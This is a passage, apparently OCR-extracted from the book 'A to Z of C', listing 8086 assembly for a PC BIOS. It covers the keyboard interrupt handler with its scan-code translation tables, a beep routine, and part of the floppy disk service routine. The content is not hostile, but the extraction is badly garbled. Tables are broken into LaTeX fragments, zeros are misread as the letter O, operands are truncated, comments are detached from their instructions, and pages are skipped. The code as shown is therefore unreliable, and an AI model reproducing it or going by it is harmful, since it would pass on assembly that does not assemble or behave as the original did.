\hline \multirow[t]{4}{*}{KPD_R1:} & MOV & AX, [BX] \\
\hline & INC & BX \\
\hline & INC & BX \\
\hline & MOV & DS : 1Ah, BX \\
\hline
\end{tabular}
\begin{tabular}{|c|c|c|c|c|}
\hline & CMP & BX, DS: 82 h & ; & .buffer overflowed? \\
\hline & JNZ & KPD_XT & ; & ...no, done \\
\hline & MOV & BX, DS: 80h & ; & Else reset to point at start \\
\hline & MOV & DS: 1Ah, BX & ; & ...and correct head position \\
\hline & JMP & KPD_XT & & \\
\hline KPD_WT: & CLI & & ; & No interrupts, critical code \\
\hline & MOV & BX, DS: 1Ah & ; & ...point to buffer head \\
\hline & CMP & BX, DS: 1 Ch & ; & ...equal buffer tail? \\
\hline & MOV & AX, [BX] & ; & (fetch, look ahead) \\
\hline & STI & & ; & Enable interrupts \\
\hline & POP & BX & & \\
\hline & POP & DS & & \\
\hline & RETF & 2 & ; & Do IRET, preserve flags \\
\hline KPD_SH: & MOV & AL, DS: 17 h & ; & Read keypad shift status \\
\hline & JMP & KPD_XT & & \\
\hline & ENTRY & 0E885h & ; & Align INT_9 at correct place \\
\hline ASCII & db & O00h, 037h, 02Eh, 020h & ; & Scan -> Ascii. Sign bit set \\
\hline & db & 02Fh, 030h, 031h, 021h & ; & ...if further work needed \\
\hline & db & 032h, 033h, 034h, 035h & & \\
\hline & db & 022h, 036h, 038h, 03Eh & & \\
\hline & db & 011h, 017h,005h, 012h & & \\
\hline & db & 014h, 019h, 015h, 009h & & \\
\hline & db & 00Fh, 010h, 039h, 03Ah & & \\
\hline & db & 03Bh, 084h, 001h, 013h & & \\
\hline & db & \(004 h, 006 \mathrm{~h}, 007 \mathrm{~h}, 008 \mathrm{~h}\) & & \\
\hline & db & 00Ah, 00Bh, 00Ch, 03Fh & & \\
\hline & db & 040h, \(041 \mathrm{~h}, 082 \mathrm{~h}, 03 \mathrm{Ch}\) & & \\
\hline & db & 01Ah, 018h, 003h, 016 h & & \\
\hline & db & 002h, 00Eh, 00Dh, 042h & & \\
\hline & db & 043h, \(044 \mathrm{~h}, 081 \mathrm{~h}, 03 \mathrm{Dh}\) & & \\
\hline & db & 088h, 02Dh, 0C0h, 023h & & \\
\hline & db & 024h, 025h, 026h, 027h & & \\
\hline & db & 028h, 029h, 02Ah, 02Bh & & \\
\hline & db & 02Ch, 0A0h, 090h & & \\
\hline NOALFA & db & 032h, 036h, 02Dh, 0BBh & ; & Non-Alphabetic secondary \\
\hline & db & OBCh, OBDh, OBEh, OBFh & ; & ...translation table \\
\hline & db & 0C0h, 0C1h, 0C2h, 0C3h & & \\
\hline & db & 0C4h, 020h, 031h, 033h & & \\
\hline & db & 034h, 035h, 037h, 038h & & \\
\hline & db & 039h, 030h, 03Dh, 01Bh & & \\
\hline & db & 008h, 05Bh, 05Dh, 00Dh & & \\
\hline & db & 05Ch, 02Ah, \(009 \mathrm{~h}, 03 \mathrm{Bh}\) & & \\
\hline
\end{tabular}

\section*{278 A to \(Z\) of \(C\)}
\begin{tabular}{|c|c|c|c|}
\hline & \[
\begin{aligned}
& \mathrm{db} \\
& \mathrm{db}
\end{aligned}
\] & \[
\begin{aligned}
& 027 \mathrm{~h}, 060 \mathrm{~h}, 02 \mathrm{Ch}, 02 \mathrm{Eh} \\
& 02 \mathrm{Fh}
\end{aligned}
\] & \\
\hline \multirow[t]{10}{*}{CTRLUP} & db & 040h, 05Eh, 05Fh, 0D 4 h & ; CTRL uppercase secondary \\
\hline & db & 0D5h,0D6h,0D7h,0D8h & ; ...translation table \\
\hline & db & 0D9h, 0DAh, 0DBh, 0DCh & ; ...for non-ASCII control \\
\hline & db & 0DDh, 020h, 021h, 023h & \\
\hline & db & 024h, 025h, 026h, 02Ah & \\
\hline & db & 028h, 029h, 02Bh, 01Bh & \\
\hline & db & 008h, 07Bh, 07Dh,00Dh & \\
\hline & db & 07Ch, 005h, 08Fh, 03Ah & \\
\hline & db & 022h, 07Eh, 03Ch, 03Eh & \\
\hline & db & 03 Fh & \\
\hline \multirow[t]{10}{*}{CTRLLO} & db & 003h, 01Eh, 01Fh, 0DEh & ; CTRL lowercase secondary \\
\hline & db & ODFh, OE0h, OE1h, OE2h & ; ...translation table \\
\hline & db & 0E3h, \(0 \mathrm{E} 4 \mathrm{~h}, 0 \mathrm{E} 5 \mathrm{~h}, 0 \mathrm{E} 6 \mathrm{~h}\) & ; ...for non-ASCII control \\
\hline & db & 0E7h, 020h, 005h,005h & \\
\hline & db & 005h, 005h, 005h,005h & \\
\hline & db & 005h,005h,005h,01Bh & \\
\hline & db & \(07 \mathrm{Fh}, 01 \mathrm{Bh}, 01 \mathrm{Dh}, 00 \mathrm{Ah}\) & \\
\hline & db & 01Ch, 0F2h, 005h,005h & \\
\hline & db & 005h,005h,005h,005h & \\
\hline & db & 005h & \\
\hline \multirow[t]{10}{*}{ALTKEY} & db & 0F9h, 0FDh, 002h, 0E8h & ; ALT key secondary \\
\hline & db & OE9h, OEAh, OEBh, OECh & ; ...translation table \\
\hline & db & OEDh, OEEh, OEFh, OFOh & \\
\hline & db & 0F1h, 020h, 0F8h, 0FAh & \\
\hline & db & OFBh, OFCh, OFEh, OFFh & \\
\hline & db & 000h,001h,003h,005h & \\
\hline & db & 005h,005h,005h,005h & \\
\hline & db & 005h,005h,005h,005h & \\
\hline & db & 005h,005h,005h,005h & \\
\hline & db & 005h & \\
\hline NUMP AD & db & '789-456+1230.' & ; Keypad secondary tralsator \\
\hline \multirow[t]{4}{*}{NUMCTR} & db & 0F7h, 005h, 004h, 005h & ; Numeric keypad CTRL sec. \\
\hline & db & 0F3h, 005h, 0F4h, 005h & ; ...translation table \\
\hline & db & 0F5h,005h, 0F6h,005h & \\
\hline & db & 005 h & \\
\hline \multirow[t]{4}{*}{NUMUPP} & db & 0c7h, 0c8h, 0c9h, 02Dh & ; Numeric keypad SHIFT sec. \\
\hline & db & \(0 \mathrm{CBh}, 005 \mathrm{~h}, 0 \mathrm{CDh}, 02 \mathrm{Bh}\) & ; ...translation table \\
\hline & db & OCFh, 0D0h, 0D1h, OD2h & \\
\hline & db & 0D3h & \\
\hline
\end{tabular}
```

INT_9: STI
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH SI
PUSH DI
PUSH DS
PUSH ES
CLD
MOV AX,40h
MOV DS,AX
IN AL,60h
PUSH AX
IN AL,61h
PUSH AX
OR AL,10000000b
OUT 61h,AL
POP AX
OUT 61h,AL
POP AX
MOV AH,AL
CMP AL,11111111b
JNZ KY_01
JMP KY_BEP
KY_EOI: MOV AL,20h
OUT 20h,AL
KY_XIT: POP ES
POP DS
POP DI
POP SI
POP DX
POP CX
POP BX
POP AX
IRET
KY_01: AND AL,01111111b
CMP AL,46h
JBE KY_02
JMP KY_CT8
KY_02: MOV BX,offset ASCII ; Table for ESC thru Scroll Lck
XLAT CS:[BX]
; Key press hardware interrupt
; Read the scan code data
; ...save it
; Get control port status
; ...save it
Set "latch" bit to
...acknowledge data
Restore control status
...to enable keyboard
...restore scan code
Save copy of scan code
...check for overrun
...no, OK
Else beep bell on overrun
; Send end_of_interrupt code
; ...to 8259 interrupt chip
; Exit the interrupt
; Valid scan code, no break

```
\begin{tabular}{|c|c|c|c|c|}
\hline & OR & AL, AL & & Sign flags "Shift" type key \\
\hline & JS & KY_FLG & ; & ...shift,caps, num, scroll etc \\
\hline & OR & AH, AH & ; & Invalid scan code? \\
\hline & JS & KY_EOI & ; & ...exit if so \\
\hline & JMP & short KY_ASC & ; & Else normal character \\
\hline KY_FLG: & And & AL, 01111111b & ; & Remove sign flag bit \\
\hline & OR & AH, AH & ; & ...check scan code \\
\hline & JS & KY_SUP & ; & ...negative, key released \\
\hline & CMP & AL, 10h & ; & Is it a "toggle" type key? \\
\hline & JNB & KY_TOG & ; & ..yes \\
\hline & OR & DS: 17 h , AL & ; & Else set bit in "flag" byte \\
\hline & JMP & KY_EOI & ; & ...and exit \\
\hline KY_TOG: & TEST & Byte ptr DS:17 & 00b & b ; Control key pressed? \\
\hline & JNZ & KY_ASC & & ; ...yes, skip \\
\hline & TEST & AL, DS:18h & ; & Else check "CAPS, NUM, SCRL" \\
\hline & JNZ & KY_EOI & ; & ...set, invalid, exit \\
\hline & OR & DS: 18h, AL & ; & Show set in "flag_1" byte \\
\hline & XOR & DS: \(17 \mathrm{~h}, \mathrm{AL}\) & ; & ...flip bits in "flag" byte \\
\hline & JMP & KY_EOI & & \\
\hline KY_SUP: & CMP & AL, 10h & ; & Released - is it "toggle" key \\
\hline & JNB & KY_TUP & ; & ...skip if so \\
\hline & NOT & AL & ; & Else form two's complement \\
\hline & AND & DS: \(17 \mathrm{~h}, \mathrm{AL}\) & ; & ...to do BIT_CLEAR "flags" \\
\hline & CMP & AL, 11110111b & ; & ALT key release special case \\
\hline & JNZ & KY_EOI & ; & ...no, exit \\
\hline & MOV & AL, DS: 19 h & ; & Else get ALT-keypad character \\
\hline & MOV & AH, 0 & ; & ...pretend null scan code \\
\hline & MOV & DS: 19h, AH & ; & ...zero ALT-keypad character \\
\hline & CMP & AL, AH & ; & Was there a valid ALT-keypad? \\
\hline & JZ & KY_EOI & ; & ...no, ignore, exit \\
\hline & JMP & KY_NUL & ; & Else stuff it in ASCII buffer \\
\hline KY_TUP: & NOT & AL & ; & Form complement of toggle key \\
\hline & AND & DS: 18h, AL & ' & ...to do BIT_CLEAR "flag_1" \\
\hline & JMP & KY_EOI & & \\
\hline KY_ASC: & TEST & Byte ptr DS:18 & 00b & ; Scroll lock pressed? \\
\hline & JZ & KY_NLK & & ; ...no \\
\hline & CMP & AH, 45h & & Is this a NUM LOCK character? \\
\hline & JZ & KY_03 & & ; ...no \\
\hline & AND & Byte ptr DS:18 & 11 b & b ;Else clear bits in "flag_1" \\
\hline KY_03: & JMP & KY_EOI & ; & ...and exit \\
\hline
\end{tabular}
\begin{tabular}{|c|c|c|c|c|}
\hline \multirow[t]{5}{*}{KY_NLK:} & \begin{tabular}{l}
TEST \\
JNZ
\end{tabular} & \multicolumn{2}{|l|}{Byte ptr DS:17h,00001000b KY_ALT} & \begin{tabular}{l}
; ALT key pressed? \\
; ...yes
\end{tabular} \\
\hline & TEST & Byte ptr DS:17h, 0 & & ; CTRL key pressed? \\
\hline & JNZ & KY_CTL & & ; ...yes \\
\hline & TEST & Byte ptr DS:17h, 0 & & ; Either shift key pressed? \\
\hline & JNZ & KSHIFT & ; & . . yes \\
\hline \multirow[t]{4}{*}{KY_LC:} & CMP & AL, 1Ah & & Alphabetic character? \\
\hline & JA & KY_LC1 & & . . .no \\
\hline & ADD & AL, 'a'-1 & & Else add lower case base \\
\hline & JMP & KY_COM & & \\
\hline \multirow[t]{4}{*}{KY_LC1:} & MOV & \(B X\), offset NOALFA & & Non-alphabetic character \\
\hline & SUB & AL, 20h & & \\
\hline & XLAT & CS: [BX] & ; & ...do the xlate \\
\hline & JMP & KY_COM & & \\
\hline \multirow[t]{4}{*}{KY_ALT:} & CMP & AL, 1Ah & & Control key pressed? \\
\hline & JA & KY_AGN & & ...no, skip \\
\hline & MOV & AL, 0 & & Else illegal key press \\
\hline & JMP & KY_BFR & & \\
\hline \multirow[t]{4}{*}{KY_AGN:} & MOV & BX, offset ALTKEY & & Load ALT key translation \\
\hline & SUB & AL, 20h & & ...bias to printing char. \\
\hline & XLAT & CS: [BX] & ; & ...do the translation \\
\hline & JMP & KY_COM & & \\
\hline \multirow[t]{9}{*}{KY_CTL:} & CMP & AH, 46 h & & Scroll lock key? \\
\hline & JNZ & KY_CT1 & ; & ...no, skip \\
\hline & MOV & Byte ptr DS:71h,1 & & ; Else CTRL-"Scroll" = break \\
\hline & MOV & AX, DS: 80h & & ; ...get key buffer start \\
\hline & MOV & DS: 1Ch, AX & ; & ...get key tail to start \\
\hline & MOV & DS: 1Ah, AX & ; & ...get key head to start \\
\hline & INT & 1Bh & & Issue a "Break" interrupt \\
\hline & SUB & AX, AX & & \\
\hline & JMP & KY_CO2 & & \\
\hline \multirow[t]{10}{*}{KY_CT1:} & CMP & AH, 45h & ; & Num lock key? \\
\hline & JNZ & KY_CT2 & ' & ...no, skip \\
\hline & OR & Byte ptr DS:18h, 0 & & ; Else show scroll lock \\
\hline & MOV & AL, 20h & & ; ...send end_of_interrupt \\
\hline & OUT & 20h, AL & ; & ...to 8259 int. controller \\
\hline & CMP & Byte ptr DS:49h,7 & ; & Monochrome monitor? \\
\hline & JZ & KY_POL & ; & ...yes, skip \\
\hline & MOV & DX, 3D8h & & Else reset mode \\
\hline & MOV & AL, DS: 65h & ; & ...for the \\
\hline & OUT & DX, AL & ; & ...CGA color card \\
\hline
\end{tabular}

\section*{282 A to Z of C}
\begin{tabular}{|c|c|c|c|c|}
\hline KY_POL: & \begin{tabular}{l}
TEST \\
JNZ \\
JMP
\end{tabular} & ```
Byte ptr DS:18h,
KY_POL
KY_XIT
``` & & ; Wait for him to type ; ...not yet \\
\hline \multirow[t]{3}{*}{KY_CT2:} & CMP & AH, 3 & & Is it a Control @ (null) ? \\
\hline & JNZ & KY_CT3 & ; & no \\
\hline & MOV & AL, 0 & & Else force a null \\
\hline KY_CT4: & JMP & KY_BFR & ; & ...save in buffer \\
\hline \multirow[t]{6}{*}{KY_CT3:} & CMP & AL, 1Ah & & Is it a control character? \\
\hline & JBE & KY_CT4 & ; & . . yes \\
\hline & MOV & BX, offset CTRLLO & & Else non-ascii control \\
\hline & SUB & AL, 20h & ; & ...lower case \\
\hline & XLAT & CS: [BX] & ; & ...translation \\
\hline & JMP & KY_COM & & \\
\hline \multirow[t]{6}{*}{KSHIFT:} & CMP & AH, 37h & & Print_Screen pressed? \\
\hline & JNZ & KY_CT5 & & \\
\hline & MOV & AL, 20h & & Yes, send end_of_interrupt \\
\hline & OUT & 20h, AL & ; & ...to 8259 interrupt chip \\
\hline & INT & 5 & & Request print_screen service \\
\hline & JMP & KY_XIT & ; & ...and exit key service \\
\hline \multirow[t]{4}{*}{KY_CT5:} & CMP & AL, 1Ah & & Alphabetic char? \\
\hline & JA & KY_CT6 & ; & . no \\
\hline & ADD & AL, 'A'-1 & & Yes, add base for alphabet \\
\hline & JMP & KY_COM & & \\
\hline \multirow[t]{4}{*}{KY_CT6:} & MOV & BX, offset CTRLUP & & Non-ascii control \\
\hline & SUB & AL, 20h & , & ...upper case \\
\hline & XLAT & CS: [BX] & ; & ...translation \\
\hline & JMP & KY_COM & & \\
\hline \multirow[t]{11}{*}{KY_CT8:} & SUB & AL, 47h & ; & Keypad key, convert origin \\
\hline & MOV & BL, DS: 17 h & ; & ...get "flag" byte \\
\hline & TEST & BL, 00001000 b & & Look for ALT keypad entry \\
\hline & JNZ & KB_NUM & ; & ...do special entry thing \\
\hline & TEST & BL, 00000100 b & & CTRL key pressed? \\
\hline & JNZ & KY_CTR & ; & ...skip if so \\
\hline & TEST & BL, 00100000 b & ; & Toggle "Num Lock" ? \\
\hline & JZ & KY_CT9 & & ...no, continue \\
\hline & TEST & BL, 00000011 b & & Shift keys hit? \\
\hline & JNZ & KY_CTA & & ...no, check "INS" \\
\hline & JMP & KY_CTD & & Else xlat keypad char. \\
\hline
\end{tabular}


\section*{284 A to \(Z\) of C}
\begin{tabular}{|c|c|c|c|c|}
\hline & ADD & AL, BL & & Add in new digit to sum \\
\hline & MOV & DS: \(19 \mathrm{~h}, \mathrm{AL}\) & ; & ...save as new ALT entry \\
\hline KY_EO1: & JMP & KY_EOI & & End_of_interrupt, exit \\
\hline KY_CTR: & OR & AH, AH & ; & Key released? \\
\hline & JS & KY_EO1 & ; & ...ignore if so \\
\hline & MOV & BX, offset NUMCTR & ; & Else Numeric Keypad Control \\
\hline & XLAT & CS: [BX] & ; & ...secondary translate \\
\hline & JMP & short KY_COM & ; & ...and save it \\
\hline KY_CTA: & CMP & AH, OD2h & ; & Was "INS" key released? \\
\hline & JNZ & KY_CTB & & \\
\hline & AND & Byte ptr DS:18h, 0 & 11 b & ; Yes, clear "INS" in "FLAG_1" \\
\hline & JMP & short KY_EO1 & & \\
\hline KY_CTB: & OR & AH, AH & ; & Key released? \\
\hline & JS & KY_EO1 & ; & ...ignore if so \\
\hline & CMP & AH, 52h & ; & Else check for "INS" press \\
\hline & JNZ & KY_CTC & & ; ...not "INS" press \\
\hline & TEST & Byte ptr DS:18h,1 & & ; Was INS key in effect? \\
\hline & JNZ & KY_EO1 & & ; ...yes, ignore Else \\
\hline & XOR & Byte ptr DS:17h, 1 & & , tog "INS" in "FLAG" byte \\
\hline & OR & Byte ptr DS:18h, 1 & & ; set "INS" in "FLAG_1" byte \\
\hline KY_CTC: & MOV & BX, offset NUMUPP & ; & Numeric Keypad Upper Case \\
\hline & XLAT & CS: [BX] & ; & ...secondary translation \\
\hline & JMP & short KY_COM & & \\
\hline KY_CTD: & OR & AH, AH & ; & Was the key released? \\
\hline & JS & KY_EO1 & ; & ...yes, ignore \\
\hline & MOV & BX, offset NUMPAD & ; & Load translation table \\
\hline & XLAT & CS: [BX] & ; & ...do translate \\
\hline & JMP & short KY_COM & & \\
\hline KY_COM: & CMP & AL, 5 & ; & Common entry, char in AL \\
\hline & JZ & KY_EO2 & & ...Control E, ignore \\
\hline & CMP & AL, 4 & & \\
\hline & JA & KY_CO1 & ; & Above Control D \\
\hline & OR & AL, 10000000b & ; & Else set sign flag \\
\hline & JMP & short KY_CO2 & & \\
\hline KY_CO1: & TEST & AL, 10000000b & ; & Is sign bit set? \\
\hline & JZ & KY_CO3 & & ...skip if so \\
\hline & AND & AL, 01111111b & & Else mask sign off \\
\hline
\end{tabular}
\begin{tabular}{|c|c|c|c|c|}
\hline KY_CO2: & \[
\begin{aligned}
& \text { MOV } \\
& \text { MOV }
\end{aligned}
\] & \[
\begin{aligned}
& A H, A L \\
& A L, 0
\end{aligned}
\] & & Save in high order byte ...set scan code to zero \\
\hline \multirow[t]{9}{*}{KY_CO3:} & TEST
JZ & \multicolumn{2}{|l|}{Byte ptr DS:17h,01000000b KY_BFR} & \begin{tabular}{l}
; Test for "CAPS LOCK" state \\
; ...no, skip
\end{tabular} \\
\hline & TEST & \multicolumn{2}{|l|}{Byte ptr DS:17h,00000011b} & ; Test for SHIFT key \\
\hline & JZ & \multicolumn{2}{|l|}{KY_CO4} & ; ...skip if no shift \\
\hline & CMP & \multicolumn{2}{|l|}{AL, 'A' ;} & Check for alphabetic key \\
\hline & JB & KY_BFR & ; & ...not SHIFT_able \\
\hline & CMP & AL, 'Z' & & Check for alphabetic key \\
\hline & JA & KY_BFR & , & ...not SHIFT_able \\
\hline & ADD & AL, 20 h & \multicolumn{2}{|l|}{; Else do the shift} \\
\hline & JMP & short & & \\
\hline \multirow[t]{5}{*}{KY_CO4:} & CMP & AL, 'a' & & Check for alphabetic key \\
\hline & JB & KY_BFR & ; & ...not SHIFT_able \\
\hline & CMP & AL, 'z' & & Check for Alphabetic key \\
\hline & JA & KY_BFR & ; & ...not SHIFT_able \\
\hline & SUB & AL, 20h & \multicolumn{2}{|l|}{; Else do the shift} \\
\hline \multirow[t]{7}{*}{KY_BFR:} & MOV & BX, DS: 1 Ch & & \(B X=\) tail of buffer \\
\hline & MOV & DI, BX & ; & ...save it \\
\hline & INC & BX & ; & . . .advance \\
\hline & INC & BX & ; & ...by word \\
\hline & CMP & BX, DS: 82h & \multicolumn{2}{|l|}{\multirow[t]{2}{*}{; End of buffer reached?}} \\
\hline & JNZ & KY_CHK & & \\
\hline & MOV & BX, DS: 80h & \multicolumn{2}{|l|}{; Else \(\mathrm{BX}=\) beginning of buffer} \\
\hline \multirow[t]{3}{*}{KY_CHK:} & CMP & BX, DS: 1Ah & \multicolumn{2}{|l|}{BX = Buffer Head ?} \\
\hline & JNZ & KY_STF & \multicolumn{2}{|l|}{; ...no, OK} \\
\hline & JMP & short KY_BEP & \multicolumn{2}{|l|}{; Else buffer overrun, beep} \\
\hline \multirow[t]{2}{*}{KY_STF:} & MOV & [DI], AX & \multicolumn{2}{|l|}{; Stuff scan code, char in bfr} \\
\hline & MOV & DS: \(1 \mathrm{Ch}, \mathrm{BX}\) & ; & ...and update bfr tail \\
\hline KY_EO2: & JMP & \multicolumn{3}{|l|}{KY_EOI} \\
\hline \multirow[t]{5}{*}{KY_BEP :} & MOV & AL, 20 h & \multicolumn{2}{|l|}{; Keyboard beeper routine} \\
\hline & OUT & 20h, AL & \multicolumn{2}{|l|}{; ...send end_of_interrupt} \\
\hline & MOV & BX, 80h & \multicolumn{2}{|l|}{; Cycles in beep} \\
\hline & IN & AL, 61h & \multicolumn{2}{|l|}{; ...get status} \\
\hline & PUSH & AX & \multicolumn{2}{|l|}{; ...save copy} \\
\hline \multirow[t]{2}{*}{KY_BE1:} & AND & AL, 11111100b & \multicolumn{2}{|l|}{; Mask off speaker bits} \\
\hline & OUT & \(61 \mathrm{~h}, \mathrm{AL}\) & \multicolumn{2}{|l|}{; ...disable speaker} \\
\hline KY_BE2: & MOV & CX, 64h & \multicolumn{2}{|l|}{; Constant for pitch} \\
\hline KY_BE3: & LOOP & KY_BE3 & \multicolumn{2}{|l|}{; ...delay, speaker off} \\
\hline
\end{tabular}
\begin{tabular}{|c|c|c|c|c|}
\hline & XOR & AL, 00000010 b & & \\
\hline & OUT & \(61 \mathrm{~h}, \mathrm{AL}\) & ; & Toggle speaker position \\
\hline & TEST & AL, 00000010 b & ; & Full cycle done yet? \\
\hline & JZ & KY_BE2 & ; & ...no, do other half cycle \\
\hline & DEC & BX & ; & Else show cycle sent \\
\hline & JNZ & KY_BE1 & ; & ...more cycles to send \\
\hline & POP & AX & & \\
\hline & OUT & 61h, AL & ; & Restore flags \\
\hline & MOV & CX, 32h & ; & Silence counter \\
\hline KY_BE4: & LOOP & KY_BE4 & ; & Send nothing for while \\
\hline & JMP & KY_XIT & & \\
\hline KY_NUL: & MOV & AH, 38h & ; & ALT key pressed, released \\
\hline & JMP & KY_BFR & ; & ...for no logical reason \\
\hline & ENTRY & 0EC59h & ; & IBM entry point for floppy \\
\hline INT_13: & STI & & ; & Floppy disk services \\
\hline & PUSH & BP & & \\
\hline & PUSH & SI & & \\
\hline & PUSH & DI & & \\
\hline & PUSH & DS & & \\
\hline & PUSH & ES & & \\
\hline & PUSH & BX & & \\
\hline & MOV & DI, AX & ; & Request type in DI, for index \\
\hline & XOR & AX, AX & & \\
\hline & MOV & DS, AX & & \\
\hline & LES & SI, Dword ptr DS:78h & ; & Get disk parameter table \\
\hline & MOV & AX, 40h & & \\
\hline & MOV & DS, AX & & \\
\hline & MOV & BX, 5 & & \\
\hline & MOV & AX, ES: [BX+SI] & ; & Get (Gap Length, DTL) in AX \\
\hline & PUSH & AX & ; & ...save it \\
\hline & DEC & BX & & \\
\hline & DEC & BX & & \\
\hline & MOV & AX, ES: [BX+SI] & ; & Get (Bytes/sector, EOT) in AX \\
\hline & PUSH & AX & ; & ...save it \\
\hline & XCHG & CL, DH & & \\
\hline & XCHG & DL, CL & & \\
\hline & PUSH & DX & ; & Push (Head, Drive) swapped \\
\hline & PUSH & CX & & \\
\hline & PUSH & DI & & \\
\hline & MOV & BP, SP & ; & Mark bottom of stack frame \\
\hline ifdef & SLOW_E & PPPY & & \\
\hline & CALL & FD_SPD & ; & ...execute request lo speed \\
\hline else & & & & \\
\hline & CALL & FD_XQT & ; & ...execute at current speed \\
\hline & & & & \\
\hline
\end{tabular}

```

    TEST AL,010000000b
    JNZ FD_RS2 ; Drive #2 active
    TEST AL,100000000b
    JZ
    FD_RS0
    FD_RS3: INC AL
FD_RS2: INC AL
FD_RS1: INC AL
FD_RSO: MOV
Byte ptr DS:3Eh,0
; All drives need recalibrate
MOV Byte ptr DS:41h,0
OR AL,00001000b
OUT DX,AL
OR AL,00000100b
OUT DX,AL
STI
CALL NC_BSY
CALL NC_STS
MOV AL,DS:42h
CMP AL,0COh
JZ FD_RS4
MOV Byte ptr DS:41h,20h
JMP short FD_RS5
FD_RS4: MOV AL,3
; Specify command to NEC
CALL NEC765
; ...send it
MOV AL,ES:[SI]
; First byte in param block
CALL NEC765
; ...send it
MOV AL,ES:[SI+1]
CALL NEC765

```
```

    ; Drive #3 idle
    ```
```

    ; Drive #3 idle
    ```
```

    ; ...no completion status
    ; Interrupt ON in command word
    ; ...send word to controller
    ; "Reset" in command word
    ; ...send word to controller
    ; Wait for completion
    ; ...read result block
        CMP AL,OCOh
    ; Did the reset work
    ; ...yes
; Else set controller error
; Secnd byte in param block
; ...send it
FD_RS5: RET

```

\begin{tabular}{|c|c|c|c|c|}
\hline & OUT & OBh, AL & ; & ...send it to IC8237 \\
\hline & MOV & AX, [ \(\mathrm{BP}+0 \mathrm{Ch}]\) & ; & Get segment address \\
\hline & MOV & CL, 4 & ; & . . .convert \\
\hline & ROL & AX, CL & ; & ...to (offset, 64 K page no) \\
\hline & MOV & CH, AL & ; & Extract page number (0-15.) \\
\hline & AND & CH, 00001111 b & ; & ...for 8237 dma controller \\
\hline & AND & AL, 11110000b & ; & Extract implicit page offset \\
\hline & ADD & AX, [BP+0Ah] & ; & ...add explicit user offset \\
\hline & ADC & \(\mathrm{CH}, \mathrm{O}\) & ; & ...(page number overflowed) \\
\hline & MOV & DX, AX & ; & Now save lo 16 bits of addr. \\
\hline & OUT & 4, AL & ; & ...send lowest 8 bits " " \\
\hline & MOV & AL, AH & & \\
\hline & OUT & 4, AL & ; & ...send next 8 bits " " \\
\hline & MOV & AL, CH & & \\
\hline & OUT & 81h, AL & ; & 64 K page no to DMA page reg \\
\hline & MOV & \(\mathrm{AH},[\mathrm{BP}+0]\) & & \\
\hline & MOV & AL, 0 & & \\
\hline & SHR & AX, 1 & ; & Sector cnt * 128 \\
\hline & MOV & \(\mathrm{CL},[\mathrm{BP}+6]\) & ; & Track count \\
\hline & SHL & AX, CL & ; & * sector count \\
\hline & DEC & AX & ; & - 1 \\
\hline & OUT & 5, AL & ; & Send \(1 / 2\) of the word count \\
\hline & XCHG & AL, AH & & \\
\hline & OUT & 5, AL & ; & Send 2/2 of the word count \\
\hline & XCHG & AL, AH & & \\
\hline & ADD & AX, DX & ; & Compute final address \\
\hline & JNB & FD_002 & ; & . . . ok \\
\hline & STI & & & \\
\hline & MOV & Byte ptr DS:41h,9h & ; & Else wrapped around 64 K byte \\
\hline & JMP & FD_64K & ; & ...page register \\
\hline \multirow[t]{16}{*}{FD_002:} & MOV & AL, 2 & ; & Disable floppy disk dma \\
\hline & OUT & OAh, AL & & \\
\hline & MOV & Byte ptr DS:40h, 0FFh & ; & Set large motor timeout \\
\hline & MOV & BL, [ \(\mathrm{BP}+2\) ] & ; & ...get drive number \\
\hline & MOV & BH, 0 & & \\
\hline & MOV & AL, CS : [BX+NECDRV] & ; & Table lookup bit position \\
\hline & MOV & CH, AL & ; & ...save mask \\
\hline & MOV & CL, 4 & & \\
\hline & SHL & AL, CL & ; & Shift mask into place \\
\hline & OR & AL, BL & ; & ...or in drive select \\
\hline & OR & AL, 0 Ch & ; & ...or in DMA and NO RESET \\
\hline & MOV & DX, 3F2h & & \\
\hline & OUT & DX, AL & ; & Send to floppy control port \\
\hline & STI & & & \\
\hline & MOV & AL, CS: [DI+NECWRT] & ; & Table lookup for write flag \\
\hline & OR & DS: 3Fh, AL & ; & ...set write flag if active \\
\hline
\end{tabular}

\section*{290 A to \(Z\) of \(C\)}
\begin{tabular}{|c|c|c|c|}
\hline & OR & AL, AL & \\
\hline & JNS & FD_003 & ...skip if non-write \\
\hline & MOV & AH, ES: [SI+0Ah] & Motor start from param blk \\
\hline & OR & AH, AH & \\
\hline & JZ & FD_003 & ...none specified \\
\hline & TEST & CH, DS:3Fh & ; Was this drive motor running? \\
\hline & JNZ & FD_003 & ...skip if so \\
\hline & CALL & FD_WT1 & ; Else delay for motor start \\
\hline FD_003: & OR & DS: \(3 \mathrm{Fh}, \mathrm{CH}\) & Show this motor is running \\
\hline & TEST & CH, DS:3Eh & ; Drive recalibration needed? \\
\hline & JNZ & FD_004 & ; ...no, skip \\
\hline & OR & DS: 3Eh, CH & Else show recalibrated \\
\hline & MOV & AL, 7 & ; Send RECAL command \\
\hline & CALL & NEC765 & ; ...to NEC 765 chip \\
\hline & MOV & AL, BL & \\
\hline & CALL & NEC765 & ...drive number \\
\hline & CALL & NC_BSY & ; Wait for completion of RECAL \\
\hline & CALL & NEC_0 4 & ; ...dummy call to RET \\
\hline FD_004: & MOV & AL, 0Fh & ; Request a seek \\
\hline & CALL & NEC765 & ...from the NEC 765 \\
\hline & MOV & AL, BL & \\
\hline & CALL & NEC765 & ; Drive number \\
\hline & MOV & AL, [BP+3] & \\
\hline & CALL & NEC765 & ; Cylinder number \\
\hline & CALL & NC_BSY & ; ...wait for completion \\
\hline & CALL & NC_STS & ...read results \\
\hline & MOV & AL, ES: [SI+9] & ; Get head settle time \\
\hline & OR & AL, AL & ; ...none specified? \\
\hline & JZ & FD_005 & ; ...if none, skip \\
\hline FD_STL: & MOV & CX, 226h & ; Delay time for head settle \\
\hline FD_STZ: & LOOP & FD_STZ & ...timed wait \\
\hline & DEC & AL & ...delay in millisec \\
\hline & JNZ & FD_STL & ; ...wait some more \\
\hline FD_005: & MOV & AL, CS: [DI+NECFUN] & ; Translate user service, then \\
\hline & CALL & NEC765 & ; ...and send as NEC func \\
\hline & MOV & AL, [BP+4] & ; \\
\hline & AND & AL, 1 & \\
\hline & SHL & AL, 1 & \\
\hline & SHL & AL, 1 & \\
\hline & OR & AL, BL & \\
\hline & CALL & NEC765 & \\
\hline & CMP & Byte ptr [ \(\mathrm{BP}+1], 5\) & ; Is this a format request? \\
\hline & & & \\
\hline
\end{tabular}
\begin{tabular}{|c|c|c|c|c|}
\hline & JNZ & FD_006 & ; & ..skip if not \\
